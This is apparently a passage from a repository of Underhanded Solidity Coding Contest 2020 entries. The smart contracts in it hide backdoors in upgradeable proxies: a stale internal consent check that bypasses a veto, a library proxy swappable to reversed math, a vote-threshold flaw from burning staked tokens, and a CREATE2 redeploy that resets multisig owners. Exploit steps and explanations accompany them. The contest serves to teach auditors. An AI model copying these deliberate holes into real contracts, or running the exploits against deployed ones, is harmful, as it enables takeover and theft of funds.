function _setOwner(address newOwner) internal {
bytes32 slot = _OWNER_SLOT;
assembly {
sstore(slot, newOwner)
}
}
/*
* Internal function that stores the new implementation contract address to the corresponding storage slot.
*/
function _setImplementation(address newImplementation) internal {
bytes32 slot = _IMPLEMENTATION_SL0T;
assembly {
sstore(slot, newImplementation)
}
}
/*
* Internal function that stores the new proxy admin address to the corresponding storage slot.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = _ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/*
* Internal function that stores the new value for the optIn boolean.
*/
function _setOptIn(bool newValue) internal {
bytes32 slot = _OPTIN_SLOT;
assembly {
sstore(slot, newValue)
}
}
/*
* Internal view function that Loads the address of the admin from the corresponding storage slot
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/*
* Internal view function that Loads the address of the implementation contract from the corresponding storage slot
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SL0T;
assembly {
impl := sload(slot)
}
}
/*
* Internal view function that Loads the address of the proxy owner from the corresponding storage slot
*/
function _owner() internal view returns (address own) {
bytes32 slot = _OWNER_SLOT;
assembly {
own := sload(slot)
}
}
/*
* Internal view function that Loads the optIn boolean from the corresponding storage slot
*/
function _optIn() internal view returns (bool opt) {
bytes32 slot = _OPTIN_SLOT;
assembly {
opt := sload(slot)
}
}
}
================================================
FILE: 2020/submissions_2020/submission5_WilliamEntriken/README-WITH-SPOILERS.md
================================================
# README (INCLUDES SPOILERS)
## Setup
First of all, deploying and upgrading contracts is a slow and careful process.
This uses the Diamond Standard (DRAFT) and carefully follows all documented best practices.
This deployment scenario shows that by forcing the auditor to complete a full upgrade process in order to get to the grand exploitation. Also, the auditor would need to also update the time delay in the code (`60*60*24*30`) and start over when they realize there is a 30 day delay.
We're not doing this to hurt the auditors, in fact we even help by providing `*SEL` function for convenience.
## Proof of broken
You can see that the contract is broken by continuing with these steps which should NOT be possible:
### Prepare to upgrade
*This is another upgrade which should not be possible.*
tx7 use Remix to call `proposeUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*
1. Parameter 1:
```
[["ManagerFacet1", 1, ["0x116825ba"]]]
```
1. Substitute in `ManagerFacet1` deployed address above
2. Note: the `1` corresponds to `Replace` at https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/interfaces/IDiamondCut.sol#L10
3. Note: the `0x116825ba` corresponds to upgrading the `isUpgradeConsented()` function on the Diamond contract
4. Note: the function selectors above can be confirmed by running convenience `*SEL` functions on deployed contract
2. Parameter 2:
```
0x0000000000000000000000000000000000000000
```
3. Parameter 3:
```
[]
```
### Veto it
tx8 use Remix to call `vetoUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*
* *No parameters needed*
### Perform upgrade
*:information_source: After 30 days, perform the upgrade*
tx9 use Remix to call `performUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*
:warning: This should fail because the `performUpgrade` will confirm that the upgrade is authorized, right? And the upgrade is not authorized because it was vetoed, right?
:bomb: But actually, the transaction succeeds! :astonished:
## How it works
The issue is that while yes, the `isUpgradeConsented` was upgraded, and yes, everybody calling that function will see the correct output, there is a second hidden copy of the old function hidden somewhere. Did you find it?
It's here:
```solidity
---------------------------------▼
function isUpgradeConsented() public returns(bool) {
return true;
}
```
In Solidity, when you declare a function as `public`, there are two copies of the function, the `private` version and the `external` version. `private` + `external` = `public`. Solidity core developers do not trifle with me, whether you implemented it that way or not is an ~implementation detail~.
So actually, when you upgrade the Diamond contract, only the `external` function is upgraded. The `internal` implementation remains burried under every other function in that contract that reference that function.
And in graphic form:
```
┌─Diamond────────────┐ ┌─ManagerFacet1──────┐
│ proposeUpgrade─────┼──────┼▶proposeUpgrade │
│ vetoUpgrade────────┼──────┼▶vetoUpgrade │
│ performUpgrade─────┼──────┼▶performUpgrade──PRIVATE─┐
│ isUpgradeConsented─┼──┐ │ isUpgradeConsented◀┼────┘
│ takeScholarship────┼─┐│ └────────────────────┘
└────────────────────┘ ││ ┌─ManagerFacet2──────┐
│└───┼▶isUpgradeConsented │
│ │ │
│ │ │
│ │ │
│ └────────────────────┘
│ ┌─ScholarshipFacet1──┐
└────┼▶takeScholarship │
│ │
│ │
│ │
└────────────────────┘
```
## Learnings
Using `private` functions with Diamond contracts is particularly dangerous. This should be called out in the Standard. Also, the Diamond Standard is too long. It should be minified so that important warnings like this actually get read.
Another possible solution is to modify the Diamond Standard approach so that upgrading any function selector to a new underlying contract requires upgrading ALL function selectors for that contract. I prefer this solution because it is a minor hassle for developers, it is easy to explain when people ask why they need to do it, and it entirely removes this class of vulnerabilities.
================================================
FILE: 2020/submissions_2020/submission5_WilliamEntriken/deployment.md
================================================
# Deployment Scenario
You would perform all these actions using Remix JavaScript VM and the "Account 1" it creates for you.
This will match the actual deployed review of these contracts and you can use it to audit in the same environment.
## Deployment step
*:information_source: The purpose of this step is to deploy the standard Diamond contract and attach implementations for management, and the actual functionality of this upgradeable contract which is a simple scholarship.*
tx1 use Remix to deploy `ManagerFacet1`
* *No parameters needed*
tx2 use Remix to deploy `ScholarshipFacet1`
* *No parameters needed*
tx3 use Remix to deploy `Diamond`
1. Parameter 1:
```
[
["ManagerFacet1", "0", ["0x636b14e4", "0xf9d94ff3", "0x116825ba", "0xd00d472e"]],
["ScholarshipFacet1", "0", ["0x9a217710"]]
]
```
1. Substitute in `ManagerFacet1` and `ScholarshipFacet2` deployed address above
2. Note: the `0` corresponds to `Add` at https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/interfaces/IDiamondCut.sol#L10
3. Note: the function selectors above can be confirmed by running convenience `*SEL` functions on deployed contracts
2. Parameter 2:
```
"Account 1"
```
1. Substitute in your Account 1 from your JavaScript VM environment
## Prepare to upgrade
*:information_source: Some time later, the community complained that this contract is entirely upgradeable by the owner. The community demands that the veto functionality actually be implemented correctly. The contract owner starts the upgrade process to allow this.*
tx4 use Remix to deploy `ManagerFacet2`
* *No parameters needed*
tx5 use Remix to call `proposeUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*
1. Parameter 1:
```
[["ManagerFacet2", 1, ["0x116825ba"]]]
```
1. Substitute in `ManagerFacet2` deployed address above
2. Note: the `1` corresponds to `Replace` at https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/interfaces/IDiamondCut.sol#L10
3. Note: the `0x116825ba` corresponds to upgrading the `isUpgradeConsented()` function on the Diamond contract
4. Note: the function selectors above can be confirmed by running convenience `*SEL` functions on deployed contract
2. Parameter 2:
```
0x0000000000000000000000000000000000000000
```
3. Parameter 3:
```
[]
```
## Perform upgrade
*:information_source: After 30 days, perform the upgrade*
tx6 use Remix to call `performUpgrade` function on main deployed ``Diamond`` function. *Note: use Remix to load a `ManagerFacet1` at the address of the Diamond contract in order to have Remix encode your parameters.*
- *No parameters needed*
## Postcondition
*:information_source: Scenario is complete. At this point the guarantee is that only the owner can perform upgrades after 30 days of a proposal. And this proposal can only be performed if there has been no veto by anybody during that 30 days.*
================================================
FILE: 2020/submissions_2020/submission5_WilliamEntriken/main.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
pragma experimental ABIEncoderV2; // Required for Diamond Standard
// Latest published version now is 1.3.5
import "https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/Diamond.sol";
import "https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/facets/DiamondCutFacet.sol";
library ManagerDataA {
bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("org.soliditylang.underhanded.submission224.storage");
struct DiamondStorage {
uint256 proposedUpgradeTime;
bool hasAnybodyVetoed;
// diamondCut() call parameters:
IDiamondCut.FacetCut[] readyDiamondCut;
address readyInit;
bytes readyCalldata;
}
function diamondStorage() internal pure returns (DiamondStorage storage ds) {
bytes32 position = DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := position
}
}
}
contract ManagerFacet1 is DiamondCutFacet {
function proposeUpgrade(IDiamondCut.FacetCut[] calldata proposedDiamondCut, address proposedInit, bytes calldata ProposedCalldata) public {
assert(msg.sender == LibDiamond.contractOwner());
ManagerDataA.diamondStorage().proposedUpgradeTime = block.timestamp;
ManagerDataA.diamondStorage().hasAnybodyVetoed = false;
delete ManagerDataA.diamondStorage().readyDiamondCut;
for (uint256 facetIndex; facetIndex < proposedDiamondCut.length; facetIndex++) {
ManagerDataA.diamondStorage().readyDiamondCut.push(
FacetCut(
proposedDiamondCut[facetIndex].facetAddress,
proposedDiamondCut[facetIndex].action,
proposedDiamondCut[facetIndex].functionSelectors
)
);
}
ManagerDataA.diamondStorage().readyInit = proposedInit;
ManagerDataA.diamondStorage().readyCalldata = ProposedCalldata;
}
// Anybody can veto the upgrade, that will stop the owner from upgrading
function vetoUpgrade() public {
ManagerDataA.diamondStorage().hasAnybodyVetoed = true;
}
// Give owner full permission to upgrade, re-implemented in v2
function isUpgradeConsented() public returns(bool) {
return true;
}
function performUpgrade() public {
assert(isUpgradeConsented());
assert(block.timestamp > ManagerDataA.diamondStorage().proposedUpgradeTime + 60*60*24*30);
// These lines copy-pasted from
// https://github.com/mudgen/diamond-1/blob/1.3.5/contracts/facets/DiamondCutFacet.sol#L26-L36
// with variables renamed to ready* as above
uint256 selectorCount = LibDiamond.diamondStorage().selectors.length;
for (uint256 facetIndex; facetIndex < ManagerDataA.diamondStorage().readyDiamondCut.length; facetIndex++) {
selectorCount = LibDiamond.addReplaceRemoveFacetSelectors(
selectorCount,
ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].facetAddress,
ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].action,
ManagerDataA.diamondStorage().readyDiamondCut[facetIndex].functionSelectors
);
}
emit DiamondCut(ManagerDataA.diamondStorage().readyDiamondCut, ManagerDataA.diamondStorage().readyInit, ManagerDataA.diamondStorage().readyCalldata);
LibDiamond.initializeDiamondCut(ManagerDataA.diamondStorage().readyInit, ManagerDataA.diamondStorage().readyCalldata);
// end copy-paste
delete ManagerDataA.diamondStorage().proposedUpgradeTime;
delete ManagerDataA.diamondStorage().hasAnybodyVetoed;
delete ManagerDataA.diamondStorage().readyDiamondCut;
delete ManagerDataA.diamondStorage().readyInit;
delete ManagerDataA.diamondStorage().readyCalldata;
}
function proposeUpgradeSEL() public pure returns(bytes4) {return this.proposeUpgrade.selector;}
function vetoUpgradeSEL() public pure returns(bytes4) {return this.vetoUpgrade.selector;}
function isUpgradeConsentedSEL() public pure returns(bytes4) {return this.isUpgradeConsented.selector;}
function performUpgradeSEL() public pure returns(bytes4) {return this.performUpgrade.selector;}
}
/* ******************************************************************************************** */
contract ScholarshipFacet1 {
// This is the well-known address of Mary Princeton, a deserving scholar
address payable constant MARY_PRINCETON = 0x829bD824b016326a401D083B33D093a93333a830;
// Only the scholar may take funds
function takeScholarship() public {
assert(msg.sender == MARY_PRINCETON);
MARY_PRINCETON.transfer(address(this).balance);
}
function takeScholarshipSEL() public pure returns(bytes4) {return this.takeScholarship.selector;}
}
/* ******************************************************************************************** */
contract ManagerFacet2 is DiamondCutFacet{
// Give owner full permission to upgrade, re-implemented in v2
function isUpgradeConsented() public returns(bool) {
return ManagerDataA.diamondStorage().hasAnybodyVetoed == false;
}
function isUpgradeConsentedSEL() public pure returns(bytes4) {return this.isUpgradeConsented.selector;}
}
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/README.md
================================================
# Solidity Underhanded 2020
## Upgradable Libraries
Solidity libraries can be linked at deploy time to minimize a contract's footprint. The idea is to reuse particularly expensive code and save on gas, but if a flaw is found, all downstream consumers are affected. It therefore makes sense to consider how these may be upgraded.
When considering upgradeable contracts we are likely to adopt the proxy model. This allows the contract authority to upgrade the core logic while retaining the base contract address. It accomplishes this by delegating all unknown calls through the fallback function by forwarding the message payload.
The upgrade mechanism contained therein utilizes a typical proxy to forward library calls, but since the proxy itself is delegated to we cannot store the implementation address. The solution is to utilize another getter / setter contract for which we can hardcode the address. This allows the authority to easily upgrade the library by updating the address which is pointed to.
In practice it is more common to upgrade the contract which references a library since we would not expect our dependencies to suddenly change under-the-hood. Looking at the code alone, there is also nothing to indicate that a proxy may be used in-place of a library as the interface is inherited directly.
## Getting Started
The contracts and libraries are defined solely in `./contracts/Accounts.sol`, with some tests in `./test/upgrade.test.ts`. Users are expected to interact with the `Accounts` contract which is basically a dumb ERC-20 contract. This utilizes the `GoodMath` library for all arithmetic, but the deployer has actually linked a proxy address. This means that the authority may instead forward calls to the `BadMath` library which reverses the expected mathematical operations.
```shell
# install buidler and deps
yarn install
# compile contracts, typescript interfaces
yarn build
# run tests
yarn test
```
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/buidler.config.ts
================================================
import { usePlugin } from "@nomiclabs/buidler/config";
usePlugin("@nomiclabs/buidler-ganache");
usePlugin("@nomiclabs/buidler-waffle");
usePlugin("buidler-typechain");
const config = {
defaultNetwork: "buidlerevm",
solc: {
version: "0.7.0",
optimizer: { enabled: true, runs: 500 },
},
paths: {
sources: "./contracts",
tests: "./test",
},
typechain: {
outDir: "typechain",
target: "ethers",
},
networks: {
buidlerevm: {},
},
};
export default config;
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/contracts/Accounts.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@nomiclabs/buidler/console.sol";
/**
* @dev Simple registry contract to get and set an address.
* Because the library call to the proxy is delegated, we need
* another contract we can call directly to retrieve an address.
*/
contract Registry {
address private _account;
function set(address account) external {
_account = account;
}
function get() external view returns (address) {
return _account;
}
}
contract Create2 {
/**
* @dev Deploy the given bytecode at a predictable address.
*/
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) external returns (address addr) {
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
console.log(addr);
}
}
contract Proxy {
// create2 address of registry (see above)
address private constant _REGISTRY = 0xe7748b80eE98483c177b7a4Aa041b57b70AfE6F4;
/**
* @dev Calls to this contract are delegated so we need to
* retrieve the address of the implementation from the Registry.
*/
function _implementation() internal view returns (address) {
return Registry(_REGISTRY).get();
}
fallback () payable external {
_delegate(_implementation());
}
receive () payable external {
_delegate(_implementation());
}
/**
* @dev Delegate any and all calls to this contract.
*/
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
}
library GoodMath {
function add(uint256 a, uint256 b) public pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) public pure returns (uint256) {
return a - b;
}
}
library BadMath {
function add(uint256 a, uint256 b) public pure returns (uint256) {
return a - b;
}
function sub(uint256 a, uint256 b) public pure returns (uint256) {
return a + b;
}
}
/**
* @dev Account store to mint, transfer and view balances (think ERC-20).
* Delegates math operations to an external library.
*/
contract Accounts {
mapping(address => uint256) internal _balances;
function mint(address account, uint256 amount) public {
_balances[account] = GoodMath.add(_balances[account], amount);
}
function transfer(address account, uint256 amount) external {
_balances[account] = GoodMath.add(_balances[account], amount);
_balances[msg.sender] = GoodMath.sub(_balances[msg.sender], amount);
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
}
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/contracts/Registry.json
================================================
{
"contractName": "Registry",
"abi": [
{
"inputs": [],
"name": "get",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "set",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"bytecode": "0x608060405234801561001057600080fd5b5060f28061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80632801617e1460375780636d4ce63c14605c575b600080fd5b605a60048036036020811015604b57600080fd5b50356001600160a01b0316607e565b005b606260ad565b604080516001600160a01b039092168252519081900360200190f35b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b03169056fea2646970667358221220390f0194e2a11c9457da13c3cd540a0f966f8134be940477417e947db0d78f0464736f6c63430007000033",
"deployedBytecode": "0x6080604052348015600f57600080fd5b506004361060325760003560e01c80632801617e1460375780636d4ce63c14605c575b600080fd5b605a60048036036020811015604b57600080fd5b50356001600160a01b0316607e565b005b606260ad565b604080516001600160a01b039092168252519081900360200190f35b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b03169056fea2646970667358221220390f0194e2a11c9457da13c3cd540a0f966f8134be940477417e947db0d78f0464736f6c63430007000033",
"linkReferences": {},
"deployedLinkReferences": {}
}
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/package.json
================================================
{
"name": "solidity-underhanded-2020",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"scripts": {
"build": "yarn run compile && buidler typechain",
"compile": "buidler compile",
"test": "buidler test",
"deploy": "buidler run scripts/deploy.ts",
"clean": "buidler clean"
},
"devDependencies": {
"@nomiclabs/buidler": "^1.1.2",
"@nomiclabs/buidler-ethers": "^1.1.2",
"@nomiclabs/buidler-etherscan": "^1.1.2",
"@nomiclabs/buidler-ganache": "^1.3.3",
"@nomiclabs/buidler-waffle": "^1.1.2",
"@types/chai": "^4.2.8",
"@types/mocha": "^7.0.1",
"@types/node": "^13.7.0",
"@typescript-eslint/eslint-plugin": "^2.21.0",
"@typescript-eslint/parser": "^2.21.0",
"buidler-typechain": "0.0.5",
"chai": "^4.2.0",
"ethereum-waffle": "^2.3.2",
"ts-node": "^8.6.2",
"typechain": "^1.0.4",
"typechain-target-ethers": "^1.0.4",
"typechain-target-truffle": "^1.0.2",
"typechain-target-web3-v1": "^1.0.4",
"typescript": "^3.7.5"
}
}
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/test/upgrade.test.ts
================================================
import { ethers } from "@nomiclabs/buidler";
import { Signer } from "ethers";
import chai from "chai";
import { solidity } from "ethereum-waffle";
import { ProxyFactory } from "../typechain/ProxyFactory";
import { AccountsFactory } from "../typechain/AccountsFactory";
import { GoodMathFactory } from "../typechain/GoodMathFactory";
import { BadMathFactory } from "../typechain/BadMathFactory";
import { Create2Factory } from "../typechain/Create2Factory";
import { RegistryFactory } from "../typechain/RegistryFactory";
// hardcoded to ensure bytecode doesn't change
import RegistryArtifact from "../contracts/Registry.json";
chai.use(solidity);
const { expect } = chai;
describe("Upgrade", () => {
let signers: Signer[];
beforeEach(async () => {
signers = await ethers.signers();
});
it("should deploy contracts", async () => {
const signer = signers[0];
const address = await signer.getAddress();
const create2Factory = new Create2Factory(signer);
const create2 = await create2Factory.deploy();
// deploy registry at predicted address
await create2.deploy(0, Buffer.alloc(32), RegistryArtifact.bytecode);
const goodMathFactory = new GoodMathFactory(signer);
const goodMath = await goodMathFactory.deploy();
const registry = RegistryFactory.connect(
"0xe7748b80eE98483c177b7a4Aa041b57b70AfE6F4",
signer
);
// point registry to `GoodMath`
await registry.set(goodMath.address);
const proxyFactory = new ProxyFactory(signer);
const proxy = await proxyFactory.deploy();
// link proxy instead of library
const accountsFactory = new AccountsFactory(
{ __$1e69b7c934b982fb20a88bb82f9f911a54$__: proxy.address },
signer
);
const accounts = await accountsFactory.deploy();
// account should be credited
await accounts.mint(address, 100);
expect((await accounts.balanceOf(address)).toNumber()).to.eq(100);
// replace library with `BadMath`
const badMathFactory = new BadMathFactory(signer);
const badMath = await badMathFactory.deploy();
await registry.set(badMath.address);
// account should be debited
await accounts.mint(address, 100);
expect((await accounts.balanceOf(address)).toNumber()).to.eq(0);
});
});
================================================
FILE: 2020/submissions_2020/submission6_GregoryHill/tsconfig.json
================================================
{
"compilerOptions": {
"target": "es5",
"module": "commonjs",
"strict": true,
"esModuleInterop": true,
"outDir": "dist",
"declaration": true,
"resolveJsonModule": true
},
"include": [
"typechain",
"scripts",
"test",
"index.ts"
],
"files": [
"./buidler.config.ts",
"node_modules/@nomiclabs/buidler-ethers/src/type-extensions.d.ts",
"node_modules/@nomiclabs/buidler-etherscan/src/type-extensions.d.ts",
"node_modules/@nomiclabs/buidler-waffle/src/type-extensions.d.ts",
"node_modules/buidler-typechain/src/type-extensions.d.ts"
]
}
================================================
FILE: 2020/submissions_2020/submission7_MarkusWaas/GovernanceModule.sol
================================================
contract GovernanceModule {
TestERC20 public managedToken;
mapping(uint256 => address) public proposals;
mapping(uint256 => uint256) public proposalExpires;
mapping(uint256 => uint256) public proposalVotes;
mapping(uint256 => mapping(address => bool)) public hasVoted;
uint256 public proposalCount;
constructor(address custodian) {
TestERC20 firstTokenImpl = new TestERC20(custodian);
Proxy proxy = new Proxy();
proxy.upgradeTo(address(firstTokenImpl));
managedToken = TestERC20(address(proxy));
}
function proposeUpgrade(address newTokenImplementation) external {
proposals[proposalCount] = newTokenImplementation;
proposalExpires[proposalCount] = block.timestamp + 5;
}
function voteForUpgrade(uint256 proposalId) external {
require(!hasVoted[proposalId][msg.sender], 'Already voted');
uint256 stakingTime = managedToken.stakingTime(msg.sender);
require(stakingTime < proposalExpires[proposalId] - 10, 'Must stake 5 blocks before proposal was added');
uint256 weightedAmount = managedToken.stakedAmount(msg.sender);
proposalVotes[proposalId] += weightedAmount;
hasVoted[proposalId][msg.sender] = true;
}
function executeUpgrade(uint256 proposalId) external {
require(proposalExpires[proposalId] < block.timestamp, "Proposal is expired");
require(proposalVotes[proposalId] > managedToken.totalSupply() / 2, 'Proposal not passed');
proposalVotes[proposalId] = 0;
Proxy upgradableToken = Proxy(address (managedToken));
upgradableToken.upgradeTo(proposals[proposalId]);
}
}
================================================
FILE: 2020/submissions_2020/submission7_MarkusWaas/Proxy.sol
================================================
contract Proxy {
bytes32 private constant IMPLEMENTATION_POSITION = keccak256("implementation.address");
bytes32 private constant PROXY_OWNER_POSITION = keccak256("proxy.owner");
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "Only for proxy owner");
_;
}
constructor() {
_setUpgradeabilityOwner(msg.sender);
}
function transferProxyOwnership(address _newOwner) public onlyProxyOwner {
require(_newOwner != address(0), "Only for proxy owner");
_setUpgradeabilityOwner(_newOwner);
}
function upgradeTo(address _implementation) public onlyProxyOwner {
_upgradeTo(_implementation);
}
function implementation() public view returns (address impl) {
bytes32 position = IMPLEMENTATION_POSITION;
assembly {
impl := sload(position)
}
}
function proxyOwner() public view returns (address owner) {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
owner := sload(position)
}
}
fallback() external {
address impl = implementation();
require(impl != address(0), "Impl is 0");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
function _setImplementation(address _newImplementation) internal {
bytes32 position = IMPLEMENTATION_POSITION;
// solhint-disable no-inline-assembly
assembly {
sstore(position, _newImplementation)
}
}
function _upgradeTo(address _newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != _newImplementation, "New impl must be different");
_setImplementation(_newImplementation);
}
function _setUpgradeabilityOwner(address _newProxyOwner) internal {
bytes32 position = PROXY_OWNER_POSITION;
assembly {
sstore(position, _newProxyOwner)
}
}
}
================================================
FILE: 2020/submissions_2020/submission7_MarkusWaas/README.md
================================================
# Solidity Submission
## Not so decentralized token contract
We want to create an upgradable token contract that is managed by the token holders themselves. They can stake tokens to be allowed to vote for upgrades. The penalty for staking is that you cannot transfer your tokens for a very long time. This will incentivize people to not stake.
## Attack
Let's assume we have a total token supply of 1000. 50% of all tokens have been staked.
Now somebody with only 175 unstaked tokens comes along.
1. He stakes his tokens.
2. Waits 5 blocks.
3. Creates a malicious proposal.
4. Votes for it himself.
5. Calls execute => succeeds.
Why? Because the token supply is reduced during staking. With 50% staked, the `totalSupply` function actually returns only 500. Now the person with 175 tokens stakes => `totalSupply` = 325. We require more than 50% of the totalSupply to vote for a proposal. Since 175 > 325/2, the proposal is executed.
In our example a person with only 17.5% of the total token supply was able to take over the contract completely.
================================================
FILE: 2020/submissions_2020/submission7_MarkusWaas/TestERC20.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
import "http://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.2.1-solc-0.7/contracts/token/ERC20/ERC20.sol";
import "./Proxy.sol";
contract TestERC20 is ERC20 {
mapping(address => uint256) public stakedAmount;
mapping(address => uint256) public stakingTime;
mapping(address => uint256) public blockedUntil;
constructor(address custodian) ERC20('Upgradable','UPG') {
_mint(custodian, 1000 ether); // sell/distribute somehow
}
function _beforeTokenTransfer(address from, address, uint256) internal view override {
require(blockedUntil[from] == 0 || block.timestamp > blockedUntil[from] , 'Tokens blocked');
}
function stakeForVoting() external {
require(stakedAmount[msg.sender] == 0, 'Already staking');
stakedAmount[msg.sender] = balanceOf(msg.sender);
stakingTime[msg.sender] = block.timestamp;
_burn(msg.sender, balanceOf(msg.sender));
}
function unstake() external {
_mint(msg.sender, stakedAmount[msg.sender]);
stakedAmount[msg.sender] = 0;
stakingTime[msg.sender] = 0;
blockedUntil[msg.sender] = block.timestamp + 100;
}
}
================================================
FILE: 2020/submissions_2020/submission8_RichardMoore/Multisig.sol
================================================
interface Proxyable {
function doPublicSomething() external returns (uint256);
}
// This is meant to be the simplest multisig I could whip up.
// Any bugs were not intentional and not part of the hack. ;)
contract MyLittleProxyMultisig {
// The owners
mapping(address => bool) _owners;
uint _ownerCount;
// The target address the upgradable proxy will use
Proxyable _targetAddress;
// Proposal Types; for voting on
enum ProposalType {
Complete,
NewOwner,
NewTargetAddress
}
// A proposal; for voting on
struct Proposal {
mapping (address => bool) ballots;
uint32 votes;
address value;
ProposalType proposalType;
}
// All current proposals
Proposal[] _proposals;
event NewProposal(address indexed author, uint proposalId, ProposalType proposalType, address value);
event AddedOwner(address owner);
event Relinquished(address indexed author);
constructor(address targetAddress) public {
_targetAddress = Proxyable(targetAddress);
_owners[msg.sender] = true;
_ownerCount = 1;
emit AddedOwner(msg.sender);
}
function getTargetAddress() external returns (Proxyable) {
return _targetAddress;
}
function addProposal(ProposalType proposalType, address value) external returns (uint proposalId) {
require(_owners[msg.sender], "only an owner may add proposal");
proposalId = _proposals.length;
_proposals.push();
Proposal storage proposal = _proposals[proposalId];
proposal.proposalType = proposalType;
proposal.value = value;
emit NewProposal(msg.sender, proposalId, proposalType, value);
}
function voteProposal(uint proposalId) public returns (bool) {
require(_owners[msg.sender], "only an owner may vote on a proposal");
Proposal storage proposal = _proposals[proposalId];
require(!proposal.ballots[msg.sender], "you have already voted");
proposal.ballots[msg.sender] = true;
proposal.votes++;
// Execute a proposal once it has enough votes (half, rounded up)
if (proposal.votes >= ((_ownerCount + 1) / 2)) {
if (proposal.proposalType == ProposalType.NewOwner) {
require(!_owners[proposal.value], "owner is already an owner");
_owners[proposal.value] = true;
_ownerCount++;
emit AddedOwner(proposal.value);
} else if (proposal.proposalType == ProposalType.NewTargetAddress) {
// The upgrade must still be called afterwards to commit the upgrade
_targetAddress = Proxyable(proposal.value);
}
// Mark this proposal complete
proposal.proposalType = ProposalType.Complete;
}
}
// Any owner may call this to destroy this contract, rendering the
// upgradable contract no-longer-upgradable; this is the desirable
// long-term plan which is unstoppable if any owner thinks it's time.
function relinquish() public {
require(_owners[msg.sender], "only an owner may permanently deactivate upgrades");
emit Relinquished(msg.sender);
selfdestruct(address(0));
}
}
================================================
FILE: 2020/submissions_2020/submission8_RichardMoore/README.md
================================================
Underhanded Solidity Coding Contest - 2020
==========================================
Welcome to my 2020 submission to the USCC. Thanks for dropping by.
The Plot
--------
The every classic multisig scheme for managing trust is being
used to secure some important contract which is effectively
just a proxy contract.
The proxy contract can be updated by deploying new code and
using the multisig to configure the new target, finally calling
upgrade on the proxy to update the target. Whenever the proxy
is called, it simply forwards its calls to the target.
The goal is to one day migrate away from this trust entirely, so
any admin of the multisig can decide it is time and self-destruct
it at which point the proxy can no longer be updated and the
current contract will remain intact until the end of time.
The multisig is safe and the proxy contract is safe (any bugs in
them are unrelated to this hack). So as expected, the auditors
approve the code.
The proxy contract also validates the multisig code via its codehash
on deployment and any attempt to update the proxy's target.
All seems well. (Except to anyone who knows of my passion for create2)
The Betrayal
------------
Aye, the rub comes down to the method of deploying the multisig.
By employing CREATE2 through [rooted](https://github.com/ricmoo/lurch/tree/master/rooted)
a contract can be redployed to the same address, with optionally different
code (in this case I reuse the same code so the codehash matches) and with
its state reset.
This state reset is what this hack enploys to hijack the multisig.
By resetting the state, the additional owners that were added to
fascilitate the trust were removed. Also, the target was able to be
updated directly on its redployment.
Any contract which can self-destruct must be carefully studied for
its deployment, not just its code. Even if a contract was deployed
by CREATE, if that CREATE was created by a CREATE2 it is still at risk
If CREATE2 occurs anywhere in the create chain, pay attention to the
whole kit and caboodle.
I am a huge proponent of this sort of upgradability (obviously), but
I want tooling to be able to better expose this. :)
Testing
-------
To test, please deploy [Rooted](https://github.com/ricmoo/lurch/tree/master/rooted)
to your dev node and update the address at the top of the `deploy.js`
to point to it. I've included the output from running `deploy.js` for
everyone's convenience.
```
/home/ricmoo/uscc-2020> node deploy.js
You (the untrustworth admin):
0x24a49f967589652390c2b12189E09b3AFeF6c3D3
Contracts:
MyLittleProxyMultisig
DangerousProxyable
